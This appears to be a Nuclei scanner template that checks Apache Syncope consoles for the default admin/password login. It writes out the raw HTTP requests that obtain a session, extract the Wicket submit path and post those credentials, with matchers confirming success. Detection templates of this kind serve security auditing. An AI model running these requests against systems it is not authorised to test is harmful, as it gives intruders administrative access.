apache-syncope-default-login: Apache Syncope - Default Login

id: apache-syncope-default-login

info:
  name: Apache Syncope - Default Login
  author: icarot
  severity: high
  description: |
    The Apache Syncope server is configured with default administrative credentials, allowing an attacker to perform unauthorized operations. This template verifies the use of the default username admin and password password.
  reference:
    - https://github.com/apache/syncope
  metadata:
    verified: true
    vendor: apache
    product: syncope
  tags: apache,syncope,default-login

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /syncope-console/login HTTP/1.1
        Host: {{Hostname}}
        Cookie: JSESSIONID=333333444444AAAA555555556666;

      - |
        GET /syncope-console{{location}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: jsessionid
        group: 1
        part: header_1
        regex:
          - 'Set-Cookie: (?<jsessionid>JSESSIONID=\w+);'
        internal: true

      - type: regex
        name: location
        group: 1
        part: header_1
        regex:
          - 'Location: .(?<location>\/login\?\d+)'
        internal: true

      - type: regex
        name: loginsubmit
        group: 1
        part: body_2
        regex:
          - '.(?<loginsubmit>\/login\?[0-9]-[0-9].[0-9]-login-submit)'
        internal: true

  - raw:
      - |
        POST /syncope-console{{loginsubmit}} HTTP/1.1
        Host: {{Hostname}}
        Wicket-Ajax: true
        Wicket-Ajax-BaseURL: {{location}}
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: {{RootURL}}

        username={{username}}&password={{password}}&language=0&domain=0&p%3A%3Asubmit=1

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - password

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<ajax-response><redirect><![CDATA[.]]></redirect></ajax-response>'
          - '<ajax-response><redirect><![CDATA[../]]></redirect></ajax-response>'
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100851ece28e574eb7f80c307fa5e9d665439c8d3cf49659bb31fdb5c61d99e430702202bb55d788e4d556a9c38d2e484005520adb614fb1fbedd167f2762e9e9e3c423:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.